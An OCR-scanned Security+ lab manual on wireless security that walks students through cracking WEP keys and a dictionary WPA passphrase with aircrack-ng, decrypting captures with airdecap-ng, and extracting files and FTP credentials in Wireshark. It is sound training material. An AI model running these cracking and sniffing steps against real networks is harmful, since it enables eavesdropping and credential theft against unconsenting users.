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Lab 5: Secure Implementation of Wireless Networking

1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will view files and clear text traffic from an unsecured
wireless capture file. Students will also obtain a Wired Equivalent Privacy (WEP) key and
a Wi-Fi Protected Access (WPA) passphrase using the aircrack-ng utility. After obtaining
the WEP Key and WPA passphrase, students will decrypt the traffic using airdecap-ng.
By completing these exercises, students will become more cognizant of the dangers
involved in using unsecure wireless network, wireless networks with WEP, and wireless
networks using WPA or WPA2 with a weak passphrase that is in the dictionary.

This lab includes the following tasks:

e Task 1 — Examining Plain text Traffic
e Task 2 — Cracking and Examining WEP Traffic
e Task 3 — Cracking and Examining WPA Traffic

2 Objective: Implement a Wireless Network In a Secure Manner

Wireless networks present a far greater security risk than their wired counterparts.
People who connect their computers to an unsecure wireless access point are putting
their information at risk. Most people choose to use some form of encryption for their
wireless networks in order to protect their data and privacy. Some forms of encryption
are better than others. Wired Equivalent Privacy (WEP) and Wi-Fi Protected Access
(WPA) are two methods than can be used to encrypt wireless traffic. The WEP
encryption scheme is flawed and can be broken easily by an attacker. For better
wireless security, it is recommended that WPA or WPA2 be used to encrypt your
wireless network traffic. While the use of WPA or WPA2 is more secure, an attacker can
break into networks using these security protocols if they are able to obtain the
passphrase. For this reason, the use of any words found in a dictionary should be
avoided.

Monitor Mode — Certain versions of wireless cards can be put into monitor mode and
will be able to capture all of the wireless traffic in range of their card. Wireless networks
use Carrier Sense Multiple Access Collision Avoidance, or CSMA/CA. So, by using a
wireless card in monitor mode, all wireless traffic can be passively captured.
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WEP — Wired Equivalent Privacy (WEP) is an encryption protocol that was designed to
be about as secure as “using the wire”, thus the name Wired Equivalent Privacy. The
WEP encryption scheme has a weakness in the way it was implemented in that if a
hacker generates enough Initiation Vectors, or Vs, they can break the 64-bit or 128-bit
WEP key. A good hacker can break WEP in less than 5 minutes, so its use should be
avoided.

WPA — Wi-Fi Protected Access (WPA) and WPA2 are much better encryption schemes to
use for wireless networks. While they have far better security protection than networks
using WEP, WPA and WPA2 are not flawless in their security implementation either. If
an attacker can obtain the passphrase, they will be able to decrypt the network traffic
and read all of the plain text information. In order to properly secure a network utilizing
WPA or WPA2 encryption, use a strong passphrase that includes uppercase letters and
special characters. Avoid using dictionary words.

Aircrack-ng — Aircrack-ng is actually a suite of tools that can be utilized for monitoring,
exploiting, and decrypting wireless network traffic. The aircrack-ng suite is part of the
BackTrack distribution. There is a version of the aircrack-ng suite for Windows, but it
requires special AirPcap hardware, and may trigger anti-virus software.

Wireshark [1] — Wireshark is a protocol analyzer that allows you to capture or analyze

network traffic. You can analyze plain text Wireless traffic within Wireshark and even
decrypt wireless traffic if you provide the WEP key or the WPA/WPA2 passphrase.
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3 Pod Topology
BackTrack 5 Windows 7
Attack Attack

Red Hat Linux
Victim

Windows 2k3 Server
Victim

INTERNAL NETWORK

Domain: MSEC.local
192.168.100.0/24

A =y

MSEC im. (m]
Multi-Purpose BERRRY Firewall —
Security Pod 1 AN &

Domain: GVPC.local
EXTERNAL NETWORK 10.10.19.0/24
( , D
BackTrack 4 Windows 2k3 Server
Attack Victim
Figure 1: MSEC Network Topology
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machine before starting the tasks in this lab:

BackTrack 5 Internal Attack Machine 192.168.100.3

BackTrack 5 root password password

BackTrack 5 Login:
1. Click on the BackTrack 5 icon on the topology.

2. Type root at the bt login: username prompt.
3. Type password at the Password: prompt.

Passuword: _

Figure 2: BackTrack 5 login

4. To start the GUI, type startx at the root@bt:~# prompt.

[+] To start a graphical interface, type
[*] The default root password is " =

root@bt:"# startx_

Figure 3: BackTrack 5 GUI start up
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Task 1 Examining Plain Text Traffic

When someone runs a wireless network card in monitor mode, they can capture all of
the wireless traffic within range of their card. Managed Mode is the normal state in
which a wireless card operates; your device needs to be in managed mode if you want
to connect to a wireless network. Not all cards operate in monitor mode, and very few
cards function in monitor mode in Microsoft Windows. If someone is using monitor
mode to capture network traffic, they are likely using the Linux operating system.

Wireless cards that operate in monitor mode capture network traffic passively. Cards
that operate in managed mode actively scan and their presence can be detected. Not
only will cards operating in monitor mode be able to capture all the network traffic in
range, their presence will not be detected on the network. If the user has the WEP key
or WPA/WPA2 passphrase, they can enter it and the traffic will be decrypted.

Task 1.1 Viewing Plain Text Wireless Traffic
Open a Terminal to Get Started
1. Open aterminal on the BackTrack 5 system by clicking on the picture to the right

of the word System in the task bar in the top of the screen. Type wireshark (all
lowercase) to bring up the Wireshark program.

* root@bt: ~

Terminal Help

eshark

Figure 4: The Terminal Windows within BackTrack

2. Click the button that says Don’t show this message again, and click OK.

Running as user "root" and group "root".
This could be dangerous.

#j [Don't show this message again.|

—

Figure 5: Allow Wireshark to run as root

Wireshark is a protocol analyzer that allows you to capture network traffic in real time.
You can also use it to analyze network traffic that you have captured previously.
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3. Select File from the Wireshark menu and select Open. Double click on the root
folder, then double click on the lab5 folder. Double click on the file PLAIN-

01.cap.

t View Go Capture Analyze 5tat

| x Wireshark: Open Capture File

|f| |;||lgm0t| labs

Figure 6: Opening the First Capture File

Places Name

Q search | @ PLAIN-01.cap
@ Recently Used PLAIN-02.cap
[ root WEP1.cap
B Desktop WEP2.cap
! File system WPA-01.cap
__ Floppy Drive WPA-02.cap
U Lexar WPA-03.cap

4. Right click on the Info column and select Resize Column. This will allow you to

8/15/2012

see all of the information contained within this column.

Info
Beacon f
Beacon f
Acknowls
Beacon
Acknowls
Acknowlg
Acknowlg
Acknowls
Beacon f
Acknowls

Data, 5
Pronhe RA

Figure 7: Entering the Target IP Address in Zenmap
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5. Scroll over by clicking the right arrow to see the results of the Info Column.

Info

Beacon frame, SN=1941, FN=8, Flags=........ , BI=180, |S5ID=RP714
Beacon frame, SN=2101, FN=0, Flags=........ , BI=1@6, 5ID=T40QY4

Acknowledgement, Flags=........

Beacon frame, SN=3441, FN=0, Flags=........ , BI=188, |55ID=boguswifi

Acknowledgement, Flags=........
Acknowledgement, Flags=........
Acknowledgement, Flags=........
Acknowledgement, Flags=........

Beacon frame, SN=3834, FN=0, Flags=........ ; BI=lBH.|SSID=TDWSDHI

Figure 8: Wireless Networks are Broadcasting their Service Set Identifiers (SSIDs)

Media Access Control (MAC) Addresses are visible within captures of wireless network
traffic whether encryption is being utilized or not. While you will see the layer two
addresses regardless of whether encryption is being used, you will not see traffic from
layers above two if WEP, WPA, or WPA2 encryption is being utilized. Even though a
MAC address is a 12 digit hexadecimal address, the default settings of Wireshark will
replace the first six digits with the name of the vendor. The first six digits of a MAC

Address are referred to as an Organizational Unique Identifier, or OUI.

6. Click on the second frame in the Wireshark capture file. Click the + in front of

IEEE 802.11 wireless LAN management frame, the + in front of Tagged

parameters, then, click the + in front of Vendor Specific. View the WPA Version.

2 B.001831 Actionte e5:71:8c Broadcast

3 0.006139 Apple 12:2b:8a J(RA)

|—| IEEE 8082.11 wireless LAN management frame
+| Fixed parameters (12 bytes)
[=| Tagged parameters (103 bytes)
[+] Tag: SSID parameter set: T4QY4

Tag: DS Parameter set : Current Channel: 1
Tag: Traffic Indication Map (TIM): DTIM © of © bitmap

Tag: Power Constraint :@

Tag: ERP Information

Tag: RSN Information

| Tag: Vendor Specific: Microsof: WPA Information Element
Tag MNumber: Vendor Specific (221)

Tag length: 22

OUI: ee-50-f2 (Microsof)

Vendor Specific OUI Type: 1

Type: WPA Information Element (@x81)

WPA Version: 1 &

HEREEEE

Figure 9: The Version of WPA is Displayed in a Broadcast Packet
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| Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), &6, 9, 12,

Tag: Country Information: Country Code US, Environment Any

[Mbit/sec]
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7. Inthe filter pane, type dns (all lowercase) and click apply. You will be able to see
a virtual roadmap of the wireless activity on this network, as viewing the DNS
requests will show you the name of almost every site visited by users. In this
capture, you can see a request for the IP Address of Google and lasvegas.com.

Figure 10: The DNS Requests on a Wireless Network

Wireshark also gives users the ability to parse out Hyper Text Transfer Protocol, or HTTP,
objects from a capture file. This will allow us to determine websites users on the
wireless networks visited, as well as the names of the files they downloaded. Taking it a
step further, we will actually be able to pull images from the capture file. This exercise
should raise your awareness of the dangers of using an unsecured network.

8. From the Wireshark menu, select File, Export, Objects, HTTP. A new window will
open showing hostnames and filenames. Browse through the list and look at
what the wireless users were downloading. Find cookie-monster-cupcake.jpg,
click on the file, and click Save As. Verify the save in folder is root and click Save.

1 1064 t1.gstatic.com imagefpeg 2849 cookiemonster jpg

| 1074  t1.gstatic.com image/peg 2984 cooklemonster jpg

| 1080  togstatic.com imagedpeg 2274 cookie%2520monster jpg

| 1089 : tatic co imagepeg ok ie-monster-cupcak

1095  t2.gstaticcom Image)peg 3616  the-cookie-monstergun jpg

| m02 ST e OaieTs

(EYIL

| 1128 Name: | cookie-monster-cupcake jpg |

El

{19 080603133713 ¢
| 1226 + Browse for other foiders

| 124 rge-mylar-balloon
| 1241 colot.jpg
'__&52 TMagepay .
i -

Figure 11: Saving an HTTP Object Parsed from Wireshark
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9. To view thefile, click Places from the BackTrack 5 Menu Bar and select Home
Folder. Click Cancel to close the Wireshark: HTTP Object List

\'*\ Applications 'Places System [5_]
[P Home Folder

Personal
= root Fﬁ" Network

@ Desktop S S

= Trash Lonnect to Server

- : = lab5 cookie-monster
Devices cupcake.jpg

—n

Figure 12: The Picture Carved From Wireshark

While Wireshark will carve HTTP objects in the method previously described, it cannot
carve objects from traffic utilizing other protocols like File Transfer Protocol, or FTP.
However, there are other tools such as Network Miner, which will parse objects from
other protocols like FTP. Network Miner is free and can be downloaded from
SourceForge.

To carve out FTP data, we can use the ftp-data filter and the file signature of the type of
file we are looking to carve out of traffic. A file signature is a unique identifier at the
beginning of a file that identifies what the true type of the file is. A person could try to
hide a jpeg picture by renaming the file extension to .doc but the signature will be JFIF.
The free hexeditor tool HxD allows you to view the file signature of files.

1 HxD - [C\Users\Administrator\Desk
| File Edit Search View Analysis Extras Window ?

v < o eaf 16 [+]| Anst [+]| hex -

i mpict.doc

Offset (h) 00 01 7 0 oF *

00000000 FF D8 2c Heva. JFIF]...., L4
00000010 01 2C 4D .,..9¥4-.Exif..MM

-

Chrerwrite

Figure 13: The File Signature of a JPEG file

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 11 of 30



Lab 5: Secure Implementation of Wireless Networking

10. To pull a zip file transferred via FTP out of the wireless capture file, type ftp-data
and frame contains PK into the Wireshark filter and hit Apply. Right-click on

11.

8/15/2012

frame 21207 in the list and select Follow TCP Stream.

Wﬁp—data and frame contains PK v l]

No. Time Source Destination
| 192.168.2.2
192.168.2.2
192.168.2.2

72 bits), 1534 byt

.168.2.3 (192.168
gport: ftp-data (20)

[+] =] [+] [#] [+] [+]

Follow TCP Stream

Figure 14: Following the TCP Stream

In the Follow the TCP Stream pane, click the Save As button.

* Follow TCP Stream :

Figure 15: The Follow TCP Stream Window
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12. For the name of the file, put file.zip. Make sure the Save in Folder is Desktop.

| * Wireshark: Save Follow Stream As

Name: [ﬁle.zip

l

save in folder: |u Desktop

]

+| Browse for other folders

Figure 16: Saving the Zip file From the TCP Stream

Cancel ||

Save |

13. Minimize open applications and look for the zip file you saved on the Desktop.
Double click on the brown file.zip icon. A white file.zip icon will appear below it.
Double click on the white file.zip icon and the three pictures should appear.

/ on file.zip - File Browser

VICW

C * Bflezip

Personal »
i root
@ Desktop
&5 Trash

Devices -

1
. File System VA

!

£

maryland4.jpg

o il
=
o P

N

maryland5.jpg

Elanm: Nrive

Figure 17: Opening the Zip File and Viewing the Pictures.
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Task 1.2 Conclusion

Using an unsecured wireless network has serious security risks. If someone has a
wireless card running in monitor mode, they can capture all traffic to and from the
access point. This includes the ability to view DNS request, view HTTP traffic, and the
ability for to extract images out of the wireless capture traffic. For this reason, itisa
better practice to use a wireless network using encryption, like WEP, WPA or WPA2.

Task 1.3 Discussion Questions

1. Whatis the type or router (name of company) being used on the wireless
network with the Service Set Identifier (SSID) of boguswifi? (Examples: Belkin,
Netgear)

2. See if you can locate the channel that the TOWSON wireless network is using.
Click the + in front of IEEE 802.11 wireless LAN management frame, the + in front
of Tagged parameters, then, click the + in front of DS Parameter Set.

3. From the Wireshark menu, select File, Export, Objects, HTTP. Find the
Hoover_dam.jpg picture and save it to your home folder. View the picture.
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Task 2 Cracking and Examining WEP Traffic

Wired Equivalent Privacy, or WEP, was never meant to be used in environments where
security is paramount. The developers of the encryption scheme tried to emphasize this
by naming it Wired Equivalent Privacy. There are flaws in the way that the WEP
encryption scheme was implemented, making it possible for an attacker to obtain the
64-bit or 128-bit WEP key. One of the reasons WEP is so widely used is because some
older hardware and software is not WPA compliant, meaning it does not support
WPA/WPA2. Some people, including vendors, feel that it is easier to set up a wireless
network using WEP.

(=) a

\ 1 | e 2

Lo s =2 L 5

Main Wireless My Network Firewall Parental Advanced
Settings Settings Control

Main

Advanced Security Settings

ittt St IMPORTANT: Only the advanced, more technical user should use this page.

Basic Security Sethings
Level 1: Securing your wireless traffic as it transmits through the air.

Advanced Security
Settings

Logaout

| (& WEP (Recommended)

() WEP + 802 1x (For enterprise networks anly)

WPA (Allows you to enable a pre-shared key for 3 home network or more advanced security for an enterprise
0
network)

() WPAZ (An enhanced revision of WPA providing stronger security settings)

Figure 18: The Vendor is Recommending the Use of WEP

Even though a good hacker can obtain the WEP key to someone’s network is less than 5
minutes, it is still better to use WEP than to leave your network completely unsecured.
If someone has their wireless card in monitor mode and they are monitoring wireless
network traffic, they will be unable to see the traffic unless they have the WEP key.

Task 2.1 Decrypt and Analyze WEP Traffic
1. Openthe WEP Capture File:
a. Select File from the Wireshark menu and select Open.

b. Double click on the root folder, and then double click on the lab5 folder.
c. Double click on the file WEP1.cap
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2. In the filter pane, type dns (all lowercase) and click Apply. You will not be able
to see any traffic because the wireless network traffic is encrypted.

* WEPl.cap tWireshark 1.6.1 {svu Rev Unknown from unknown)]

ephony Tools Intemals Help

Bwdey Zxe= Q. vy E]

Filter: dns| « v | Expression... Clear |

No. Time Source Destination Protocol | Length | Info

Figure 19: No Results for dns Filter in Wireshark due to Encryption

1. Close Wireshark by selecting File from the menu bar and selecting Quit.

The WEP key can be obtained by an attacker, if they are able to generate enough
Initialization Vectors, or IVs. Vs are generated when the attacker replays traffic over
and over again, and knocks the client off the network for a short time (less than one
second). The attacker’s wireless card must be in monitor mode to perform the attack.

2. In the terminal window, type the following command.
root@bt:~# aircrack-ng lab5/WEP1.cap

3. Select 5 for the target network. Notice that there are 43,210 IVs.
~ v X root@bt: ~

File Edit View Terminal Help

ng lab5/WEP1.cap

1
4
5

) ~

Figure 20: Selecting the Number of the Target Network
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After a few seconds, the aircrack-ng program will be able to crack the 64-bit WEP key.

X root@bt: ~/lab5

File

Figure 21: Aircrack-ng provides you with the WEP key to the Network

After the WEP key is obtained, we can decrypt the network traffic with aridecap-ng.

4. From the terminal, type the following command to decrypt the traffic (10 "A"s):
root@bt:~# airdecap-ng —w AAAAAAAAAA lab5/WEP1.cap

A v X root@bt: ~
File Edit View Terminal Help

Total number of pack
Total number O.: wrn
L number of

ber of plaintext

er of decrypted WE
- of corrupted WE
- of decrypted !

Figure 22: WEP Packets are Decrypted with the Key

The number of decrypted WEP packets should be 43220. Now, we will be able to
analyze TCP/IP traffic as well as carve files from the decrypted capture file.
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5. Type wireshark in the terminal (all lowercase) to bring up Wireshark. Select File
from the Wireshark menu and select Open. Double click on the root folder, and
then double click on the lab5 folder. Double click on the file WEP1-dec.cap.

ew Go Capture

' x Wireshark: Open Capture File

ﬁ |l| =g root ’E‘

Places Name ¥ Size Modified

Q, search PLAIN-01.cap 7.2 MB 08/22/2010

&3 Recently Used PLAIN-02.cap 4.2 MB 08/22/2010

i@ root WEP1.cap 14.7 MB 08/22/2010

D | B WEP1-dec.cap 10.2 MB 11:52

1 File System WEP2.cap 17.6 MB 08/22/2010

| Floppy Drive WPA-01.cap 17.2 MB 08/22/2010

U Lexar WPA-02.cap 18.6 MB 08/22/2010
WPA-03.cap 23.8 MB 08/22/2010

Figure 23: The Newly Created WEP1-dec Capture File

When airdecap-ng was used, the traffic from the wireless network with the SSID of
TOWSON22 was decrypted because the correct WEP key was provided. A brand new
capture file, WEP1-dec.cap is created with the traffic decrypted.

6. In the filter pane, type dns (all lowercase) and click Apply. You will be able to
see DNS requests within the wireless traffic because the WEP traffic was
decrypted.

H = dns ]1' EW' _
Time source Destination Protocol Length Info
261 Standard query response CNAME b.scorecard
75 Standard query A news.google.com
166 Standard query response CNAME news.l.goog
73 standard query A id.google.com
83 standard query A core,.caster.espn.go.com
99 standard query response A 68.71.209.229
83 standard query A

59.352378 |192.168.1.1 192.168.2.5
bg.606798 |192.168.2.5 192.168.1.1
bo.628858 (192.168.1.1 192.168.2.5
61.278597 |192.168.2.5 192.168.1.1
71.825928 |192.168.2.5 192.168.1.1
71.847474 192.168.1.1 192.168.2.5
B9.520262 192.168.2.5 192.168.1.1

Figure 24: DNS traffic is Now Viewable
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7. From the Wireshark menu, select File, Export, Objects, HTTP. A new window will
open, showing hostnames and filenames. Browse through the list and look at
what the wireless users were downloading. Find item #6988 NFL-Football.jpg,
click on the file, and click Save As. Verify the save in folder is root and click Save.

6988  t0.gstatic.com
7013 | t2.gstatic.com
7031 t3.gstatic.com

* Wireshark: Save Object As ...

image/jpeg 3891 NFL-Football.jpg

5281 1192568745.jpg
4489  NFL%2BNetwork.|

7037  t3.gstatic.com Name: [ FL-Footbal f]s]

5123  nfl-steroids.jpg

7042  tl.gstatic.com .
Save in folder: |...|Iab5

4136 | nfl logos.qif

7045 tl.gstatic.com
7066  tO.gstatic.com + Browse for other folders
7071  t2.gstatic.com
7077 tl.gstatic.com

| Cancel |

save ]

3479  nfl_split_panell_5

\/ 4819 nfld.jpg

3942 fsmlabs_flying_ca
3339  nfl-2008-kurt-wan

TNaEZ 2 mekakis Farm

Figure 25: Carving the Image form Wireshark

VES FIFIENrY

AREMN maddan afl 0T wl

8. To view the file, click Places from the BackTrack 5 Menu Bar and select Home
Folder. Click Cancel to close the Wireshark: HTTP Object List

a Applications

Devices
Ll File

Network
= Entire network

Figure 26: Viewing the Picture Carved From Wireshark

hn;mr er_dam.jpg

NFL-Football.jpg

After the WEP traffic for the TOWSON22 network was decrypted, we will be able to view
any of the clear text traffic within the capture file. We will examine the FTP traffic.
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9. Type ftp (all lowercase) in the Wireshark filter pane and click apply. You will be
able to see the decrypted FTP traffic, as well as the usernames and passwords.

‘ygﬁ&
Time
1118.039430 192.168.2.3 192.168.2.4  FIP 81 Response: 220 Microsoft FIP Service

=P 7359 119.884833 192.168.2.4 192.168.2.3 64 Request:

7361 119.885826 192.168.2.3  192.168.2.4 126 Response: 331 Anonymous access allowed

=3 7413 127.429170 192.168.2.4 192.168.2.3 FTP 77 Request: JPASS h1@123244555.com

Figure 27: Viewing the Clear Text Traffic from the Decrypted Capture File

If you scroll down further in the WEP1-dec.cap file, you will be able to see the names of
the files that were transferred by the wireless user with the FTP protocol.

10. To pull a JPEG file transferred via FTP out of the wireless capture file, type ftp-
data and frame contains JFIF into the Wireshark filter and hit Apply:
Right-click on the first frame in the list and select Follow TCP Stream.

Filter: 'ftp-data and frame contains JFIF v W

MNo. Time Source Destination
8347 167.317518 192.168.2.3

8396 178.383557 192.168.2.3

8426 170.592960 192.168.2.3
8458 170.800832 192.168.2.3
B8589 171.224771 192.168.2.3

_—  Follow TCP Stream

Figure 28: Following a TCP Stream
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11. In the Follow the TCP Stream pane, click the Save As button.
For the name of the file, put pic.jpg. Make sure the Save in Folder is Desktop.
Double click on picture on your Desktop. It should be men playing basketball.
Close the picture window when finished.

A v | X |pic.jpg
File Edit View Image Go Help

pic.jpg

| 135 x 90 pixels 3.9KB 100%

Figure 29: The Picture is Successfully Carved from the FTP Transfer

Task 2.2 Conclusion

Wired Equivalent Privacy, or WEP, encrypts traffic and protects your wireless network
from people monitoring wireless networks using a Wi-Fi card in monitor mode. If an
attacker is able to get the WEP key by generating enough Initialization Vectors, or IVs,
they can decrypt the traffic using airdecap-ng. Traffic can then be viewed and analyzed.

Task 2.3 Discussion Questions
1. Provide the name of at least one file that was transferred during the FTP session.
2. What is the name of the tool that can be utilized to decrypt WEP traffic? What

must you do in conjunction with the tool for the traffic to be decrypted?
3. Which 2 IP Addresses were involved in the transfer of data via the FTP protocol?
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Task 3 Cracking and Examining WPA Traffic

Wi-Fi Protected Access, or WPA, and WPA2 are much more secure than WEP encryption.
An attacker can break WEP, regardless of what WEP key is used, if they are able to
generate enough Initiation Vectors (IVs). Wi-Fi Protected Access (WPA) and WPA2 are
more secure but it also is vulnerable to being hacked if a weak passphrase, like a
dictionary word, is used. A good passphrase should be at least 16 characters long, use
uppercase, lowercase, and special characters. Avoid the use of dictionary words.

Task 3.1 Task 3.1 Cracking WPA and Analyzing the Traffic

1. Open the WPA Capture File
a. Select File from the Wireshark menu and select Open.
b. Double click on the root folder, and then double click on the lab5 folder.
c. Double click on the file WPA-01.cap.

N

In the filter pane, type ftp (all lowercase) and click Apply. You will not be able to
see any traffic because the wireless network traffic is encrypted. Close
Wireshark.

* WPA-0l.cap [Wireshark 1.6.1 (SVN Rev Unknown from unknown)]

No. Time Source ' Destination Protocol Length Info

Figure 30: FTP Traffic is Un-viewable in the WPA Encrypted Capture File

In order to break the WPA passphrase, you need the following items:

e The SSID (Service Set Identifier), or name, of the wireless network
e A WPA handshake
e Adictionary file

The SSID of our target wireless network is TOWSON333. In order to get a WPA
handshake, the attacker must have a wireless card that supports monitor mode and
needs to perform a de-authentication attack, which will remove a client from the Access
Point (AP) for less than a second. The attacker will also need a dictionary file. In order
for the attacker to obtain the WPA passphrase, the phrase must be in the dictionary file.
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1. Inthe terminal window, type the following command.
root@bt:~# aircrack-ng lab5/WPA-01.cap —w Wordlist.txt

A v  x root@bt: ~
File Edit View Terminal Help

.cap -w Wordlist.txt

Encryption

HUANGDOM WEP (19 I
boquswif WPA ' G
TOWSON33 WPA (1 handsha
RP714 WEP (6583 IVs)
T4QY4 WPA (©® handshake)

No data - WEP or WPA
Anthony98 No data - WEP or WPA

W BIWN
OITMN

~] 00
(]

(e -

Figure 31: Selecting the Target Network Using WPA

2. Select 3 for the target network. Notice that there is 1 WPA handshake

Aircrack-ng 1.1 11904

3.29 k/s)

KEY FOUND!

~J ~d
oo =~

o]

~ T
™ O
M

@ -
w =

(g ]

NN O

N
wwm>m

S Mm oo

")
=

EAPOL HMAC
Figure 32: The WPA Passphrase

O
m

Now that the WPA passphrase has been obtained, we can decrypt the traffic for the
wireless network TOWSON333. In order to do this, the SSID must be specified.

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 23 of 30



Lab 5: Secure Implementation of Wireless Networking

3. Type the From the terminal, type the following command to decrypt the traffic:
root@bt:~# airdecap-ng lab5/WPA-01.cap —e TOWSON333 —p breezeless

X root@bt: ~
t View Terminal Help

6602

Figure 33: The WPA Packets are Decrypted

The number of decrypted WPA packets should be 11,401. Now, we will be able to
analyze TCP/IP traffic as well as carve files from the decrypted capture file.

4. Type wireshark in the terminal (all lowercase) to bring up Wireshark. Select File

from the Wireshark menu and select open. Double click on the root folder, and
then double click on the lab5 folder. Double click on the file WPA-01-dec.cap.

|i| | <] & root || lab5

Places | Name v Size Modified
Q, search PLAIN-Ol.cap 7.2MB | 08/22/2010
&) Recently Used PLAIN-02.cap 4.2 MB 08/22/2010
& root WEP1.cap 14.7 MB  08/22/2010
@l Desktop WEP1-dec.cap 10.2 MB Yesterday at 11:52
[ File System WPA-01.cap 18.6 MB  08/22/2010
L Floppy Drive ‘B WPA-01-dec.cap 8.8MB 01:48
WPA-03.cap 23.8 MB 08/22/2010

Figure 34: The Decrypted WPA file Created by airdecap-ng
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5.

In the filter pane, type dns (all lowercase) and click apply. You will be able to see
DNS requests within the wireless traffic because the WPA traffic was decrypted.

@ RN S

Time Source ' Destination Protocol Length Info

10378 73.204794 192.168.2.3  192.168.1.1 DNS
10371 73.209481 192.168.2.3  192.168.1.1

18372

10373 73.232498  192.168.1.1  192.168.2.3
10450 74.206838 192.168.2.3  192.168.1.1

| 76 Standard gquery A video.google.com
| I&}stmm query A img.youtube.com
162 Standard query response CNAME vide
| ml Standard query mm CNAME ]l't'.l.l
| o

DNS
73.225842 192.168.1.1  192.168.2.3  DNS
DNS
DNS 15Isundurd query A [maps.gooc

Figure 35: Viewing the DNS Requests after the Traffic has been Decrypted

10393
10396
10401
10409
10417
10427
10434

From the Wireshark menu, select File, Export, Objects, HTTP. A new window will
open showing hostnames and filenames. Browse through the list and look at
what the wireless users were downloading. Find 37558.jpg, click on the file, and
click Save As. Verify the save in folder is root and click Save.

static.howstuffworks.com imagefjpeqg 15624 37558.jpg
lwireless&um=1&ie=1

www.googl * Wireshark: Save Object As ...

Name: | EZEEE ipg <:,‘=l

save in folder: ||Iimnt v |

img.youtubs

img.youtubs

video.googl 7app=smhé&contentid

img.youtubs

video.googld |+! Browse for other folders ?7app=smhé&contentid
. S .

video.googl | cancel | | ?app=smhé&contentid

video.googl 7app=smh&contentid

Figure 36: Extracting the JPEG from the HTTP Traffic

8/15/2012
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7. To view the file, click Places from the Linux Menu Bar and select Home Folder.
Click Cancel to close the Wireshark: HTTP Object List

x 37558.jpg

nage

NFL-Football.jpg

400 x 300 pixels 15.3KB 100%

Figure 37: The File Carved from HTTP Traffic

8. Type ftp (all lowercase) in the Wireshark filter pane and click apply. You will be
able to see the decrypted FTP traffic, as well as the usernames and passwords.

C [~ e —

No. Time Source ‘Destination Protocol Length Info
43 8.218674 192.168.2. 192.168.2.3 FTP 60 Request: QUIT

8.2.2
112 19.449164 192.168.2.3 192.168.2.2 FTP 81 Response: 220 Microsoft FTP Service
118 21.661618 192.168.2.2 192.168.2.3  FTP
8.2.3 192.168.2.2 FTP b Response: Anonymous access allowed
8.2.2 192.168.2.3 FTP w—»

119 21.662093 192.168.
Figure 38: The FTP Username and Password in Clear Text

134 24.484978 192.168.2.
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9.

Scroll down through the ftp frames and find the names of some of the files that
were transferred. They include JPEG, PDF, executable, and zip files.

T

y— .

No. Time Source Destination Protocol Length Info
8745/50.187442 192.168.2.2 192.168.2.3 FTP 78 Request: RETR|WinPcap 4 1 2.exe|
8746/50.188438 192.168.2.3 192.168.2.2 FTP 131 Response: 158 Opening ASCII mode data ¢
9625 50.782928 192.168.2.3 192.168.2.2 FTP 78 Response: 226 Transfer complete.
962B/50.788594 192.168.2.2 192.168.2.3 FTP 80 Reguest: PORT 192,168,2,2,201,174
9629 50.790696 192.168.2.3 192.168.2.2 FTP B4 Response: 200 PORT command successtul.
9630 50.797298 192.168.2.2  192.168.2.3  FTP 69 Request: RETR [zipl.zip]
9647 51.0018468 192.168.2.3 192.168.2.2 FTP 78 Response: 226 Transfer complete.

Figure 39: The Frame Indicates the Name of the Transferred Executable and Zip File

10. To pull one of the zip files transferred via FTP out of the capture file, type ftp-

data and frame contains PK into the Wireshark filter and hit Apply. Right-click
on the second frame in the list (421) and select Follow TCP Stream.

Wftp—data and frame contains PK l 1

No. Time Source Destination

421 587208899 e TeeTans
424 38.211459 ozt
428 38.214019
430 38.214533
534 39.691781
537 39.694339

Frame 421: 1514 byte
Ethernet II, Src: Su
Internet Protocol Ve
Transmission Control
ETP Data Follow TCP Stream

SIS

Figure 40: Following the TCP Stream

11. In the Follow the TCP Stream pane, click the Save As button.

g ¥ Follow TCP Stream

e

1{.... _
43, . ....1.00e]. dN. 1. H.DHY . "K. ...80 0028070 0o T

Stream Content
B

r.=....

M.9.s >v ... .03 . . ... .. . 'pc .B32r .. . \\H.n $37K .. .....C_ . "voox. . .| Y
|Enu‘re conversation (11318 bytes) v
| Find f Save As Print | ASCI ) EBCDIC () Hex Dump ) C Armays O Raw

Help I_Fill.er Out This Stream | Close

Figure 41: Saving the Zip File

8/15/2012
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14. For the name of the file, put elmo.zip. Use Desktop as the Save in folder.

* Wireshark: Save Follow Stream As

Name: [elmn.zip| ]

Save in folder: |u[}esktc}p v |

+| Browse for other folders 0
Cancel Save |

Figure 42: Naming the File and Saving it to the Desktop

15. Minimize open applications and look for the zip file you saved on the Desktop.
Double click on the brown elmo.zip icon. A white file.zip icon will appear below
it. Double click on the white elmo.zip icon and the three pictures should appear.

B elmo.zip

Personal
i root [
B Desktop
5. Trash
Devices -
L File System elmo.jpg elmo2.jpg elmo3.jpg
Floopy Drve

Figure 43: The Extracted Pictures of a Zip File

16. Close all remaining applications and terminals.
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Task 3.2 Conclusion

Although Wi-Fi Protected Access (WPA/WPA?2) offers far superior security to that of its
older counterpart Wired Equivalent Privacy (WEP), it also has some security risks
associated with its use. If the user selects a weak passphrase, an attacker can try to
obtain the password by performing a dictionary attack. In order for the attacker to
obtain the WPA passphrase, they must get the WPA handshake by performing a de-
authentication attack with a wireless card running in monitor mode. To properly secure
a wireless network use WPA, or preferably WPA2, and a strong passphrase with at least
16 characters, and use uppercase and lowercase letters, as well as special characters.

Task 3.3 Discussion Questions

1. Type ftp in the filter pane of Wireshark. Find the names of at least 2 picture files
(JPEGs) that were transferred.

2. Using the same ftp filter in Wireshark, and find the name of the two executable
(EXE) files that were transferred.

3. Type frame contains PASS in the filter pane of Wireshark. What was the
password used to log on to the FTP site?
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Lab 6: Incident Response Procedures

1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
